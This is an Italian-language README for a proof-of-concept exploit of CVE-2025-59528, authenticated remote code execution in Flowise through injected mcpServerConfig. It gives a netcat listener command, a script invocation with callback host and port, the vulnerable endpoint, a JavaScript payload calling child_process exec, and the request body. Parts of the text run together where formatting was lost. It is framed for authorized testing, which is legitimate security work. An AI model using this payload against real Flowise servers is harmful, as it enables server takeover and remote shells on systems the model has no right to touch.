
Proof-of-concept per CVE-2025-59528, che dimostra l'esecuzione remota di codice autenticata in Flowise tramite l'iniezione di mcpServerConfig, con passaggi riproducibili per test autorizzati.
PoC minimale focalizzata sulla validazione tecnica della vulnerabilità in un ambiente autorizzato.
nc -lvn 4444).Avvia prima il listener:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
Sostituisci i valori con le impostazioni del tuo ambiente autorizzato.
3.0.5Remote Code Execution (RCE)POST /api/v1/node-load-method/customMCPIl problema deriva da come viene elaborato inputs.mcpServerConfig: questo valore viene interpretato in un modo che consente l'esecuzione di JavaScript lato server. In pratica, un utente autenticato può iniettare un'espressione che chiama child_process ed esegue un comando del sistema operativo.
Il flusso di sfruttamento è:
customMCP.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).Se accettato, il server esegue il comando nel proprio contesto di sistema.
poc.py)Lo script accetta quattro argomenti:
-d/--domain: dominio di destinazione-lh/--host: IP di callback-lp/--port: porta di callback-A/--api: token API BearerSuccessivamente:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
Rispetto al PoC EDB (che esegue il login con email/password, utilizza header simili a quelli di un browser e lancia un --cmd libero), questo script è migliore per la pura validazione del PoC:
mcpServerConfig ed esecuzione lato server.In breve: lo script EDB è una demo offensiva più generica, mentre questo PoC è più mirato per la riproducibilità tecnica.
https o gestione dei certificati.--cmd).Testa solo su sistemi di tua proprietà o per i quali hai un'autorizzazione esplicita.